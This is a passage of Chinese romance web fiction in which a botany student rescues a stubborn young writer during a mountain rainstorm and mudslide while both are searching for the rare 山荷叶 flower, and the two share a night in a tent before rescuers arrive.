周嘉煜解锁手机,一打开便是一颗晚晚草的微博主页。
里面最新更新的就是刚刚他给林深看的那篇关于的科普山荷叶。
正当他准备
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退出是,却注意到那花发现的地方就在山城。
他陡然间明白的林深的意思了。大概率是去找那什么山荷叶,不过那地方在野外,林深这家伙去了不得喂狼。
不行,说什么也阻止他。
“林深,你别冲动,你想清楚了吗?那地方可不是什么旅游景区。”周嘉煜走到林深边上,一边碎碎念一边试图阻止他收拾行李。
“不就是一棵草吗?值得你搭上你这条小命去找吗?”
林深并不理会,自顾自的收拾行李。
后面实在忍受不了,放下手里的东西,一把将他拉出房间,然后便砰的一声关上了房间门。
砰!砰!砰!
“阿深,我跟你说,那地方真不能去。”周嘉煜还在外面使劲敲门,试图劝阻他。
可里头的人压根不理会,拿起床头柜上的睡眠耳塞戴了上去。
周嘉煜的劝阻并无任何效果。林深这人性子从小就倔,认定了的事就是九头牛都拉不回来。
当年高考完填志愿,他爷爷让他选商科,学管理,将来好继承家里的产业。
结果他却非要学中文,被罚在祠堂跪了三天。
最后他爷爷拗不过他,一气之下停了他的卡。
即便如此,他也没有低头。
稍有空闲时间,他要么是用来兼职要么就是泡在图书馆里学习。
这日子一坚持就是一年半,直到大二下学期。他的第一本书出版,拿到版权费,生活才逐渐恢复如常。
所以,劝他回头的成功性几乎为零。
“不行,得想想别的办法。”
突然他灵光一闪,想到自己那个有个哥哥在弄户外探险的前女友。
打开手机发现联系方式还在,犹豫了三秒,最后还是咬了咬牙点了拨号键。
周嘉煜在心里暗忖道:兄弟,我可是为你豁出去了。来日你可得好好感谢我的大恩大德。”
大约一分钟后,对面接通了电话。
“喂,谁啊?”
周嘉煜捏了捏眉心,硬着头皮谄媚道:“是我呀,倩倩?”
对面似乎是认出他的声音,语气瞬间变的不耐烦:“周嘉煜?”
“对,是我。”
“找我什么事?来求我复合?我告诉你,我可不吃回头草,你趁早死了这条心吧。”
周嘉煜听到这话,扶了扶额苦笑。
深吸了一口气继续说:“诶呀,不是。我今天是有点事情要找你帮忙。”
“我兄弟要去山城爬野山,之前听你说你哥哥在搞户外探险,我想说能不能让你哥带带他。”
对方听到后稍微冷静下来,语气冰冷的回复到:“就这事,我帮你问问吧。”
“好嘞,太感谢了。回头请你吃饭。”
“不必了。我可不想再见你,看到就糟心。”
话毕对面直接挂断,周嘉煜看着手机,无奈的笑了一下。
电话打完,林深刚好也收拾整齐,拉着个行李箱从房间里踱步而出。
“欧呦,都收拾好了?”周嘉煜从沙发站起。
“嗯,买了最近一班飞机的票。”林深在玄关处穿好鞋,转头看向周嘉煜。
一瞅他那眼神,周嘉煜立刻明白,自己又要给这小子干苦力了。
他无奈叹了口气,从茶几上拿起那串保时捷的钥匙。
“走吧,我的少爷。”
5. 天气预报
在去机场的路上,恰逢红灯。周嘉煜将车停下,单手轻轻地敲打着方向盘。
想起刚刚的事,他嘱咐道:“阿深,去了那里先别着急上山。我给你找了个专业的教练,你等到他和他一起上去。”
可后面却久久没有传来回应,周嘉煜将头向后探去,发现林深正靠在座椅上沉沉的睡着了。
绿灯亮起,后面的车开始鸣笛催促,周嘉煜只好作罢。
----
南城机场。
【前往山城的旅客请注意,您乘坐的CA3359次航班现在开始登机。请带好您的随身物品,出示好登机牌,由三号登机口登机】
“我走了。”林深从椅子上站起,拉着行李箱朝登机口缓步走去。
周嘉煜盯看着林深的背影看了一会儿,总觉得忘了些什么。却想不起来,挠了挠头懊恼地朝停车场走去。
登机后,林深迅速找到位置。
一坐下就拿出准备好的眼罩,拉起卫衣帽子,带上降噪耳塞,全副武装,开始补觉。
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另一边,覃晚恰巧也乘这趟飞机去山城义县的青峰野外考察,他们课题组最近正在做山荷叶的分类及保护研究。
前段时间刚在青峰发现野生植株,课题组的导师和师姐们早就已经刚过去了。
覃晚因为留在实验室做了点收尾工作,所以迟了些。
本来是和一个师兄一起,但没想到他熬了大夜后睡过头,等醒过来的时候都要登机了。所以只好覃晚一个人先过去和那边的老师汇合。
登机后,她找到自己的位置,看到自己位置旁边坐着一个穿着白T带耳机熟睡着的男人,
因为带着口罩和帽子,看不清脸,不过浑身散发着“生人勿进,别来沾边”四个大字。
覃晚小心翼翼的坐下,生怕把旁边人吵醒了,她可不想面对这么尴尬的场景。
一下飞机,覃晚便看到一个看着约莫20出头的男人举着一个写着“覃晚”两个大字的牌子站在最前面张望。
这个阵仗让她有些羞耻,于是低头半捂着脸,快步朝他走过去。
“您好,我是覃晚。”
“你是覃晚?你抬头让我看看。”
只见对方举起手机,拿着一张照片放在她脸旁对比着。
“还真是,您好,覃小姐。黄教授叫我来接你,我怕你第一次来迷路。这不,特地带了个牌子。”
说着还扬起牌子举到覃晚面前挥了挥。
覃晚尴尬一笑,一手按住那牌子想向下压去,“谢谢你啊,怎么称呼呢?”
“我叫陈强,你叫我小陈就行。我是民宿的司机,来接你去民宿的。”
陈强的车停在机场外的停车场,距离不远。走了五分钟便到了。
抵达停车场后,陈强帮她将行李塞进他那辆略显破旧,车轮满是泥垢的五菱宏光的后备箱。
这时,覃晚突然看见一个有些熟悉的身影。
是飞机上坐她旁边睡了一路的男人,直至她起身准备下飞机也没动一下。
她那时还猜测是不是出什么事了,怎么可以有人在飞机上连睡五个小时还一动不动。下飞机前还跟旁边的空姐提了一嘴。
现在看到他拉着行李箱,走出航站楼,想必是没什么大事。
而正打车的林深压根没想到自己困的连睡五个小时,这件事会让邻座的女孩怀疑自己是不是生病了。
他蹙着眉看着打车软件上转来转去的图标,迟迟没人接单让他感到有些担忧。
早知道当时就不拒绝那个民宿提出的接送机服务了。
当时订的时候在登机有些着急,只想着住在离山荷叶出现的地方近一些,也没想到那民宿居然在山里。
眼看这天也快黑了,平台上却迟迟无人接单。
正当他准备给民宿老板打电话的时候,手机上却突然有人接单了。
地图上显示司机离自己不到一公里,没两分钟便开到了林深面前。
司机是个热情憨厚的大叔,恰巧回村,便接了这个顺风单。
林深没想到自己在平台上居然还能打到拉货的面包车。而且手机上显示的明明是一辆SUV,可...
“师傅,是不是搞错了?”
大叔举起手机核对了一下乘客信息,挠了挠头问:“没错啊,你电话是188的林先生不?”
“是,但是我打的车不是面包车吧。”
“害,平台上挂的是我儿子的,今天我出来拉货。就开了面包车。你走不走撒,去那可不好打车。”
天色渐晚,司机朝林深努努嘴说:“而且现在也不早了,你坐不啦,不坐我得赶紧回去。”
林深无奈,可看着确实马上天黑了。这一时半会也打不到车。
只好应了声“坐,我们走吧。”
“好嘞。”司机看了看林深那个黑色的大行李箱说:“你这箱子,要不放后座?我今天后备箱放满了货,塞不下了。”
说着似乎还怕对方不信,准备绕到后面去给他打开看看。
“走吧,没事,就放后面。”
林深将他那行李箱搬进车后座,看着有些脏兮兮的椅子,有洁癖的他犹豫了,不知该当如何。
上了驾驶位了司机转过头来提醒林深系好安全带,似乎是看出他有些嫌弃。
于是语气诚恳的解释到:“这干净,椅子套我媳妇前几天才洗过,刚套上去的没多久。”
听到他的话,林深稍微放心一些。
从机场到村里少说也得三小时车程,更何况山路崎岖,一路颠簸。要是一直扎马步下来,明天指定上不了山了。
但他还是从口袋里拿出包纸,亲手擦拭了一番才坐下,然后便乖乖系上了安全带。
司机从后视镜看到他擦椅子没说什么,只是撇了撇嘴。
大约三小时的车程,才终于抵达民宿。
司机将车停在民宿门口,摇下车窗,朝民宿门口大喊:“胡老板,我给你把客拉过来了喽。”
“诶,来了。”
一个女人的声音从民宿里传来,听上去应该三十岁左右。
她从民宿里缓缓走出,打扮精致的样子,和这座藏在深山里的落后小村格格不入,一如这栋民宿。
林深刚将行李从车内搬出,就见一辆破旧的五菱宏光闪着车灯,哼哧哼哧的从刚刚经过的黄土坡爬上来,在民宿门口停下。
一旁的老板娘还和司机两人唠嗑唠得正欢。<
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p>他关上车门,一个人默默拉着箱子进了民宿,在前台迅速办好入住便上楼休息了。
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覃晚那边刚到民宿,还没来得及下车便收到老师那边发来的通知。
【天气预报预计近期会有长时间降雨,所以明天全体人员准备好上山,趁雨季来临前抓紧时间采集好样本数据。@全体人】
看到消息后的覃晚,心都凉了半截。
刚马不停蹄地赶到民宿,还没躺下就被通知要开始干活了。
还以为至少要等到师兄来才会上山呢......
“哎...当代牛马石锤了!”她耷拉着表情小声吐槽,用白皙的双手捂住她那张小脸,一幅不想面对现实的样子。
早已下车陈强已经将覃晚的行李从后备箱搬了出来,恰好从车窗听到覃晚的在抱怨些什么。
于是走上去打探一番,却只见覃晚摇摇头,露出无奈的笑容,命苦两个字仿佛写在脑门上。提着电脑包三步并作两步下了车。
民宿老板这时也聊完天走了过来,覃晚一抬头便被惊艳。
一袭红裙,烫着羊毛卷,红唇乌发,一颦一笑都显得风情万种,一双美目含情脉脉看得人失声。
“你好,是覃晚吗?我是胡非,这家民宿的老板。”
对于覃晚这个顶级颜控来说,她此刻恨不得一个滑跪扑倒在她面前叫“姐姐”。
没想到心里这样想着,一不小心脱口而出。
覃晚忙捂住嘴,平时在网路上口嗨惯了,这一下也就没控制住。
她尴尬的愣在原地,脚都快扣出三室一厅了。
“哈哈哈,你好啊,妹妹。”反应过来的胡非从陈强手里拿过行李箱,领着覃晚走进民宿。
“我来拿吧,老板娘。”覃晚小声说到。
“没事,怎么不叫姐姐啦!”胡非忽然侧过头,眼眸微弯,朝她促狭一笑。
覃晚红着脸低下头,不好意思,但看似害羞,实际上内心已经尖叫狂喜了。
这时她也不想拿什么行李箱了,亦步亦趋地跟在那抹摇曳的身姿后面。
胡非领着覃晚办好入住时,回房路上的她还一步三回头,不舍的挥手告别。
要不是因为明天要上山,她是决计不会拒绝姐姐一起小酌一杯的邀请的。实在是遗憾。
----
林深将行李收拾好后,从桌面上拿起手机,发现有好几个周嘉煜的未接来电。
点开微信,看到了他的留言。
周嘉煜:【阿深,我给你找了个专业教练。估计三天后能到,你别一个人上山,太危险了。】
还没来的及回复,手机弹窗突然提醒。
【据气象台播报,山城地区预计将在两天后迎来一年一度的梅雨季,请各地做好防汛预警。】
林深切回和周嘉煜的聊天框。
林深:【最快什么时候能到。】
周嘉煜:【他现在在南城那边,少说也要两天吧。怎么了?】
林深:【好。】
周嘉煜:【回来记得请我吃饭,你都不知道为了给你找这个教练小爷我牺牲多大。】
对面接连发来了四五条60秒语音,林深没点开。放下手机进了浴室。
6. 暴雨
不知道是在飞机上睡太久的原因,还是认床的习惯。
一直到凌晨三点半左右,林深差不多进入睡眠状态,这导致他一觉醒来时,已经是翌日十点。
没有闹铃,他睡到自然醒,起身后揉了揉睡的一团糟的头发,便踩着拖鞋走进了浴室。
浴室里,男人一手拿着电动牙刷,一手握着手机,碎发下半睁着的双眸,正查看义县的天气预报。
依旧没有变化,今明两天的晴天过后,即将迎来长达一个月的连续降雨。
他透过浴室的单面玻璃窗向外看,一片艳阳高照。
天气晴朗的根本看不出半分要下雨的样子。
但他还是不敢赌,毕竟一旦要是下起雨,那山上便是完全登不了了。
而雨季过了,山荷叶的花期也就过了。
所以。他今天必须上山。
而这也正是覃晚和她的团队所考量的问题。
不过相较于林深一觉睡到十点,他们一行人则是早上七点,便早早的收拾好装备上了山,此刻已经进入山中开始扎营了。
民宿的服务员将他买的帐篷送到门口。
拿到包裹的林深关上房门,继续收拾物资。大约过了半小时,检查好所有东西皆已准备完毕后,他终于准备上山了。
背着一身登山装备的林深在门口碰见了那个民宿老板,美女老板看他一身专业打扮,又带着个面罩,自然而然的便以为他和覃晚他们是一起的。
打了个招呼后问到:“你怎么没和大部队一起啊?”
林深自然没懂对方是什么意思,但时候已经不早了。
他也没多管,微微点头示意后便循着地图上山去了。
虽然偶有锻炼,但毕竟不是专业的户外登山者。
而且他对这山路并不熟悉,再加上这片山地势比较复杂,尚未开发。
植被郁郁葱葱,茂密遮天,一切都呈现出较为原始的状态,因此上山的路途变得十分困难。
尽管没有停歇的走了两个多钟头,他也还没抵达半山腰的位置。
山荷叶一般生长在海拔为1880到3700之间的落叶阔叶林、针叶林或灌木之下。
他点开手机里的海拔测量仪,才将将1200,以他的目前的速度应该还要一两个小时才能到山荷叶的生长区域。
这丛林里的树没有被开发,因此长的茂密高大,越往深处走阳光越发稀疏。
大约一个小时过后,林深找了片相对平坦的地方暂时休息了一下,
可没想到刚坐下没多久,阳光渐渐消散。树林里一下子变得昏暗。
林深赶忙从口袋里拿出手机一看,向看看天气状况。却发现已经没了信号。
他来不及休息,立马收拾好东西开始赶路,起先是几滴雨水,可没过多久雨势渐大。
林深抹了抹打在脸上的雨水,摘下了登山镜。
加快脚步向上爬去。可越往上路边越来越陡,雨水将山路冲刷的湿滑。下雨天使得林子里的可视度变得更低。
林深被迫放慢脚步,走了大约一个多小时,他遇到了一个陡坡,周边长满了各种蕨类和其他植物。
他将登山杖收起放进包里,试图爬过这个坡。可没想到还没握紧坡上的树藤,脚踩的那块石头因为下雨,脚底打滑。
整个人失去支撑就要向下坠落。
生死关头,他一只手扣住坡面,另一只抓住陡坡旁的灌木枝干。
可那小小灌木哪里沉得住一个70公斤的成年男性,没过多久便开始土层松动。
“踩住石壁!”一个女生的声音上方传来。
她穿着沾满雨水的冲锋衣,带着帽子和面罩。
一双手死死抓住林深,将他向上拽。可单凭她一个人的力气,根本没法把这样一个一米八大个子的男人拉上去。
这时不远处的河谷传来轰隆的声音,覃晚身后的泥土似乎有些松动。
“是泥石流!”覃晚听着声音分辨得出。
雨势越来越大,两个人被淋得湿透。
眼前全是水,可根本腾不出手来擦脸。
或许是因为这到了紧急时刻,覃晚的潜能一下子激发出来。
她使出吃奶的力气,而向下坠的林深也借力踩住了一块相对牢的石头。
一手握住覃晚的手,另一只手扣住土层。一步步终于爬了上去。
爬上去后,林深坐倒在地上。
仿佛还有些魂不守舍,另一旁的覃晚听到越来越近的轰隆声,拉起地上的林深。
边往河谷远处走边说:“山上发生泥石流,这地方离河谷太近了,我们得赶紧离开。”
惊魂未定的林深也来不及晃神,逃命要紧。跟着覃晚一起向河谷远处的高地走。
大约快步走了一小时,林深体力渐渐不支。速度开始变慢。
丛林里雨声很大,两人也未曾交流。后面的人不知什么时候掉了队,等她意识到不对劲转身向后看时,人已经消失不见了。
刚刚也来不及问那个男人的名字,只能边向回走边大喊“你好!你在哪?你好,你在哪...”大约走了五百米,终于在一片灌木
边看到了倒在地上的林深。
“你好!你好!”覃晚拍了拍他的脸,没有反应。
这瞬间让她有些害怕,但她此刻必须冷静下来。
回忆起之前学过的急救训练,她俯下身子,解开他的面罩。
检查他是否还有呼吸和心跳。
“还好!还好!还活着!”覃晚顿时松了一口气。
可是刚碰到他的脸,便发现烫的吓人。
估计是发烧了,虽然这片地方已经离泥石流发生的地方较远,可是雨依旧下个没停,也没有减小的趋势。
这时候发烧如果没能及时救治,很容易引起休克导致身亡。
覃晚观察了一下周边环境,还算平坦,四周没有陡坡,发生滑坡的概率较小。
于是从背包里拿出帐篷和急救包。用信号枪发出求救信号后,给男人喂了颗退烧药后,开始搭建帐篷。
由于野外经验丰富,没两下便搭好了。她看着还躺倒在地上没意识的男人,拽了两下,发现没拽动。
“这么重,那我刚刚是怎么把他拉上来的啊?”覃晚一边使劲一边满头问号的嘀咕道。
好不容易废了九牛二虎之力终于把人拖进帐篷,可浑身湿透又让她犯了难。
翻了翻背包,发现里面只有一个睡袋。
他将男人在冲锋衣外套脱下,所幸外套是防水的,里面的白T没有沾湿。
给他解开帽子时,脸露出来,已经烧得通红。
呼吸也略显急促,刚刚
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的退烧药显然没有什么作用。
不过现在也没有其他办法,只能等待救援。
覃晚将睡袋拉开,想要给他盖住。
盖的时候意外发现,裤腿上有一大片血迹,挑开划破布料。
才发现左小腿处被拉了好大一个口子,伤口虽然已经不渗血了,但依旧血红一片的吓人。
“难怪刚刚走那么慢。”覃晚将急救包拿出,又拿出了一把短刀,把破掉的裤腿划大。
包里的碘伏用完了,今早走的太急也没来的及补。
只有酒精,覃晚面露难色,不过这伤口如果不处理,很容易便感染了,到时候就麻烦了。
她看着躺在地上唇色苍白的男人,心一横,那沾满酒精的棉片便擦了上去。
刚碰到他的腿,一直昏迷不醒的男人被酒精疼的闷哼一声疼醒了。
覃晚一转头就和刚醒的他对视了,异瞳!眼角还带着一丝泪花。
“好美。”重度颜控患者覃晚看到这双眼睛,情不自禁地感叹。
男人表情痛苦,带着一丝疑惑。
扯着沙哑的嗓子说:“水,水...。”
看到他这番模样,覃晚也来不及欣赏。
急忙应了声好转向身后的背包给他从保温水壶里倒了杯水。
覃晚将躺着的男人扶起,将杯子拿到他嘴边。
“温的,快喝吧。你发烧了,刚刚我给你喂了颗药。”覃晚给他喂完水后就把他放下了。
一边从背包里取出急救包一边向他解释道:“现在最要紧的是你这条腿,不知道被什么刮伤了,我现在给你包扎一下。包里只有酒精,所以你忍着点哈。”
男人没有说话,额头被酒精刺激的冒着冷汗,双手死死地抓住铺在地上的帐篷垫。
简单清理消毒后,覃晚熟练把伤口包扎好了。
“好了,你还有哪里受伤吗?”覃晚侧坐在男人身旁,看着他问到。
本来烧的脸色通红的男人脸肉眼可见的变的煞白一片,他摇摇头。
一边的覃晚拿出纸巾给他擦了擦额头上的汗。
“谢谢。”男人用沙哑的嗓音向覃晚道谢。
覃晚没有听清,俯下头侧耳过去,温热的气息洒在耳廓,有些痒。
她起身避开,清了清嗓子,说道:“没事,你现在就别说话了。保存体力。”
她直起身子向外探看帐篷外的情况。
才四点,因为下雨,再加上丛林植被密集,天已经漆黑一片。
覃晚拉上帐篷拉链,回到男人身旁。
不禁有些担忧,也不知道老师和师姐那边什么情况。
当时他们刚到营地时,她便发现装枝剪和采集刀的包丢了,估计是中途休息时落下了。
于是跟师姐和老师说回去找,当时天还没下雨,两人便也就同意了。
可没想到走着走着就下雨了,找到东西后雨势变大后。
她赶忙回去和老师他们汇合,没想到中途听到有声音,循声过去便发现了林深。
雨下个没完没了,现在天已经黑了,又有个伤员,覃晚不敢贸然行动。
出来的时候以为很快就能回去,只背了个背包。
里面也没有多少补给,现在只能等待救援和天亮再做打算了。
祈祷夜晚不要有什么野兽出没。
7. 对不起,没忍住
外面的雨下个不停,听声音还有逐渐变大的趋势。帐篷里没法生火取暖,虽然现在是夏天,但此时他们所处的地方海拔较高,再加上雨后降温。
他们两个都被雨淋了个湿透,又没有可以替换的衣物。
覃晚到是还好,可旁边的伤员情况不妙。
她伸手过去,摸了摸男人的额头,还是很烫。于是从后面的背包里拿出两袋面包和一板布洛芬。
覃晚微微低下头,对躺着的男人柔声说:“吃点东西,然后再吃颗药好吗?”
男人点点头,双手撑住地面,想要坐起,奈何生病加上受伤,身体虚弱,动作微微有些吃力。
覃晚见状,抬过手去给他借力,扶着他缓缓坐起,让他的肩膀靠在自己肩膀。
然后从地上拾起一袋面包后,拆开递给他,又从包里拿出保温杯,给他倒了些水在杯盖。
安顿好伤员后,她自己也拿了快压缩饼干吃了起来。
一边味同嚼蜡般吃着压缩饼干,一边偷偷盯着边上的林深。
一头被雨打湿的黑发略显凌乱的垂在额前,尽管因为生病气色不佳,但精致的五官也能让人一眼惊艳。
先前带着个面罩,加上情况紧急,覃晚没来得及观察对方的长相。
现在一看这是一不小心救了个绝世帅哥啊。
而且眼睛还这么特别,覃晚人生中第一次在现实中见到异瞳。眼底的乌黑和眼角残留的水滴又给这双眼眸平添了几分破败的美感。
覃晚看呆了,咀嚼饼干的动作不知从什么时候停下,情不自禁地感叹:“你的眼睛,好美。”
一旁正吃着面包的男人听到她是声音,扭过头来,两人视线交错。
几秒后,覃晚有些不好意思,不敢直视对方,扭过头假装认真吃压缩饼干。
可男人的目光没有离开,看到女孩有些害羞的可爱样子,唇角微微勾起。
他静静地端详着这个救了他一命的女生。
看着年纪不大,像是个大学生模样,不过野外生存技能纯熟,应该登山经验丰富。
她扎了个马尾,不过因为刚刚一直在外淋雨,头发被雨水打湿。露出光洁的额头,侧边侧有几缕半干的碎发。
皮肤很白,脸蛋精致小巧,一双杏眼水汪汪的看着你时,很像一只可爱的德文猫。
覃晚察觉到有目光落在自己身上,不知怎么得竟然有些紧张不自在。
一不小心呛到,猛地咳嗽起来。
“水。”
一只握着水杯的手伸到她的面前,另一只手也放下了面包,在她背后轻拍着。
覃晚这时也来不及尴尬了,接过面前的水杯猛的灌了几口,缓解咳嗽。
“谢谢啊。”覃晚好不容易止住了咳嗽,小脸不知道是咳嗽还是害羞变得通红。
见覃晚缓了过来,背后那只手悄悄也放下,撑在地上。
——
两个人吃完这顿简单的晚饭后,覃晚把药递男人。“吃吧,吃完药好好休息一晚。”
男人接过药片,在覃晚的注视下就着水吞了下去。
“好了,睡觉吧,晚安。”覃晚躺下,而一旁的男人也在她的旁边躺了下来。
帐篷是单人的,两个人睡着未免有些拥挤。
和陌生人在这荒郊野外扎营,这种体验还是第一次,覃晚久久不能入眠,却又因为身边躺了个人,也不敢轻易翻身。
男人忽然起身,将盖在身上的睡袋,挪了大半盖到覃晚身上。
她转过头想看看情况,抬眸间,却低着头看向他的的林深视线碰撞上。
暧昧的气氛在两人之间流动,帐篷外雨淅淅沥沥的下着,使夜晚的丛林显得更加幽静。
整片林子里似乎只有雨声和横亘在两人之间的呼吸与心跳。
一盏昏黄的手提灯挂在帐篷顶端,覃晚在这微弱的光线下看着男人的眼睛,感受他那近在咫尺的气息。
一时不知是鬼迷心窍了,眼睛闭上猛地朝前亲了过去。
对面的男人还没反应过来,覃晚就赶紧转身逃开了,不敢看他的眼睛。
覃晚一边捂住嘴,脸红的像苹果一样,心跳不止。
天呐,覃小晚,你在干什么。女流氓啊你。
你疯了吧,虽然他是你的菜,虽然是他一直用美□□惑你,但是你哪来这么大胆子啊。现在好了,尬住了。
怎么办啊!实在不行要不给他道个歉?可是好尴尬啊,怎么说啊。
覃晚害羞的捂住自己的脸,用那半张睡袋挡住自己,蜷缩在里面扭成了一条毛毛虫。
另一边躺着的林深也愣住了,虽然面上并无过多反应,但两边的耳朵已经红了个彻底,母胎单身二十多年第一次被人亲。
但是感觉好像,还蛮不错的。
林深抬手摸了摸下巴,想到刚刚贴上来的软软的嘴唇,昏暗中无法看的清晰,触觉因此更加灵敏。
他嘴角不经意上扬。
他看着面前贴住帐篷边缘蜷缩在一团的女生,温柔的睡袋又扯过去了一些,轻轻地给
她盖住。
这举动让覃晚更不好意思了,耳朵和脸颊都发烫,但又不敢说话。
她只能躲在被窝里,想要赶紧睡着来掩盖害羞,可越是这样反而越睡不着。
兴许是看出女生有些紧张和尴尬了,林深于是挑起了个话题,想要转移她的注意力。
深夜的丛林里,除了帐篷外的落雨,寂静无声。
他嗓音有些哑,轻声问到:“你上山干什么?”
覃晚听到他的问题,有些摸不着头脑,不过确实慢慢地从紧张中缓过来。
她躲在被窝里回答他,声音有些闷闷的:“来考察的,你呢?”
“山荷叶。我来找它”
“你也来找山荷叶啊,我也是诶。你也是研究植物的吗?是哪个学校的啊?”
听到男人和自己目标
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相同,像是找到了同担一样,把刚刚的尴尬都抛诸脑后了。
覃晚兴奋的立马从被窝里钻出来,转过身面向他,兴致勃勃的一连问了许多问题。
“不是,我想写它,所以来找。”
林深用温柔的目光注视着面前的人,此时此刻,长期烦躁不安的心也随着这雨夜渐渐平静。
“你是作家吗?”覃晚用亮晶晶的眼睛看着对面的人,露出崇拜的目光。
虽然家里有个文学教授的妈妈,但却丝毫没有遗传到她的文学天赋。
从小写作文就是她最头疼的事情,总是要绞尽脑汁的才能像挤牙膏似的凑够字数。
即便如此,还总是被语文老师批评写出来的东西干巴巴的没有丝毫文采。
“嗯。”
“好厉害啊。你不知道,我从小最羡慕的就是你们这些文采好的了。”
覃晚翻了个身,看向帐篷顶端的挂灯,“不过不知道能不能见到它,唉。都怪这天气,明明天气预报说过两天才会下雨,谁知道天气这说变就变...”
说着说着,话音渐弱,绵长的呼吸声响起。
一番对话后,累了一天的覃晚逐渐放松下来,伴着外面的白噪音渐渐陷入了熟睡当中,
林深听着身旁传来的呼吸声没有说话,只是在心中默念:“见到了。”
尽管他有些困,但依旧强忍着睡意。
毕竟这深山老林里面,不知道会不会有什么野兽出现。
如果两个人要是都睡着了,万一有什么东西靠近,实在是太危险。
不过到后半夜,兴许是那几个药带来的副作用,再加上一整晚外面都没有什么动静。
他逐渐放松了警惕,也慢慢的也睡着了。
----
另一边的覃晚的老师和师姐刚下雨便开始寻找人,担心她出事。
不过后面雨下的越来越大,山洪暴发,又看到她发射的求救信号。
两人见搜寻无果,便赶紧下山前往有信号的地方寻求专业救援。
不过由于山里发生了泥石流和小范围的山体滑坡,再加上救援队抵达时天已经黑了且雨未停歇,这无疑大大增加了搜救难度。
覃晚的老师和师姐都懊悔不已,当初不该让覃晚一个人回去找工具包。
但此刻后悔也无济于事,只能在民宿等待救援队的消息。
民宿老板和陈强得知覃晚失踪的事情,也十分着急。
特地给他们找了村子里最熟悉山上环境的一个村民,和救援队一起上山去找覃晚。
救援队抵达村子后,根据教授提供的信息,带上专业设备进山去寻找覃晚。
但这片丛林过大,滑坡和泥石流又破坏了原有的山体环境,加上暴雨冲刷,他们的行动轨迹更是消失的无影无踪。
短时间内根本无法找到他们的踪迹。
未被开发的原始丛林,倾盆而至的暴雨,山中危机四伏。
8. 亲爱的山荷叶小姐
翌日,天蒙蒙亮。雨似乎停了,外面传来此起彼伏的鸟鸣声。
覃晚醒来,伸了个懒腰后坐起。却发现那睡袋全盖在自己身上,而身旁的男人还在昏睡中,只有一件薄薄的冲锋衣披在身上。
覃晚探身过去,脸色通红,他似乎又发烧了。
伸手过去一摸额头,烫得吓人。
估计昨晚自己睡相太差,把睡袋全卷走了,虽然现在是夏天,但山里昼夜温差大,又加上下雨降温。
冻了一晚上,本来就没痊愈的身体,现在变得更严重了。
“不行,得赶紧想办法下山。”
覃晚把睡袋给他盖上,走出帐篷。
下了一夜的雨确实停了。
覃晚打开手机,发现还是没信号,在周边四处试探,终于找到一处地方有一丝微弱的信号。
准备打电话求救时,信号又断了,反复试了好几次都以失败告终。
正当她一筹莫展的时候,忽然间隐隐约约听到有人在呼喊她的名字。
莫非是救援人员?
她心想,瞬间激动起来。赶忙朝声源的方向大声回应。
“我在这!我在这!”
听到回应的救援队,迅速确定声源方向,带队朝覃晚的方向赶去。
透过树丛,覃晚看到几抹橙色的身影靠近,她迅速跑过去挥手并大喊示意。
救援队行动迅速,没过过久便抵达了现场。
“覃晚?”一个穿着救生马甲的救援人员问到。
覃晚点头作答,脸上满是获救后的欣喜,“我是。”
随及又想起昏迷不醒的男人,语气带了几分焦急,对救援人员说:“但是帐篷里还有一个人。”
“他腿受伤了,而且现在高烧不止,需要马上就医。”她一边说一边带着救援人员朝帐篷方向走去。
救援人员看到帐篷里躺着的昏迷不醒的男人,拿起对讲迅速呼叫队友抬来担架。一前一后将男人抬上了担架。
林深的情况有些严重,因此上山的救援人员被分成两批,一队护送着受伤的林深下山。另一队则与覃晚一同收拾好他们的行李物资后再下山。
下山的路一点不比上山容易,还因为下了一晚上雨,地面湿滑,稍有不慎便会摔跤滑落。
覃晚必须时时刻刻注意着脚边环境,以免打滑摔倒增加救援人员的负担。
跟着救援队的下山路线大约走了三百米,覃晚突然远处的灌木旁发现了神似山荷叶的植株。
覃晚眼神凝固,两眼放光,盯着那处一动不动,停下了脚步。
在后方的救援人员疑惑,也停下步子问到:“怎么了,受伤了吗?”
此声一出,走在前面探路的几个救援人员也停下了脚步,扭头朝她看过来。
覃晚目不转睛盯着远处的灌木看,声音因为激动有些颤抖:“那边...好像有我这次上山考察的对象。”
她扭过头看向救援队队长,央求道:“能让我过去看一眼拍个照,记录下数据吗?”
按规定,这是违规操作,但无奈覃晚言辞诚恳。救援前也有介绍过,她是上山来做调研考察的。
而且对方一路都十分配合,没整什么幺蛾子,想来不是什么无理取闹的人。
于是队长犹豫几秒,点了点头表示答应。
正当覃晚背着她那包准备过去的时候,却被队长一把拉住手臂。
他语气严肃嘱咐:“山内环境复杂,我和你一起过去。你注意脚下,弄完就赶紧走,不可多逗留。”
生怕对方临时反悔的覃晚听到这话,松了一口气,点头如捣蒜,连声应好。
毕竟她也不想给人带来麻烦,主要是如果这千载难逢的机会没把握住。后面要想再见到可就得费一番功夫了。
救援人员四下查看了周边环境,确定并无危险因素之后。同意了覃晚的请求,并陪同其一起过去了。
刚刚在远处,看不太清楚。这时走进一看,果真是山荷叶。
此时正好是它的花期,最巧的是,恰逢降雨。
山荷叶最特别的一点便是,一般情况下,它的花瓣为纯白色。
而一旦遇水,水分渗入花瓣内的细胞间隙,将其填满。此时渗入的水与花瓣内细胞液折射率相差无几,在视觉上便会呈现透
明状态。
此时亦是它的肉眼最佳观测时间,可以直接观测到它花瓣的经络与纹路。
这时覃晚第一次见到野生山荷叶。但此刻时间紧急,根本来不及欣赏。
她迅速从背包里取出相机,找好角度,拍下照片后,拿出手册记录了它的位置和其他相关数据。
用最快的速度完成这一系列工作后,覃晚将东西收进背包内。
抬头看向声侧的救援队队长,语气轻快:“我好了,我们走吧。真是不好意思,麻烦你们了。”
“没事。”救援人员对此表示理解。
——
三小时后,一行人终于抵达山脚的上山入口处。
收到消息的教授和师姐已经早早的在那里等候许久。
“老师!师姐!”
覃晚看到熟悉的身影,从昨夜开始一直强忍着的害怕和紧张情绪,一瞬间迸发。
她飞奔过去抱住了师姐。
“晚晚,你吓死我了。呜呜呜...”宋歌回抱住覃晚也哭了起来,“你吓死我了知不知道。”
“没受伤吧,小晚?”站在旁边的教授寻问到。
宋歌从覃晚怀里退开,拉着她的胳膊让她在面前转了两圈:“对,对,你有没有哪里受伤?”
覃晚看到师姐这副紧张的样子,破涕而笑,一边转圈一边笑道:“我没事,一点事情没有。你看这,完完整整的。就是...”,她摸了摸肚子,做出痛苦状。
“怎么了?”师姐和教授立马紧张,异口同声的问到。
覃晚嬉皮笑脸的逗他们说:“就是有点饿。”
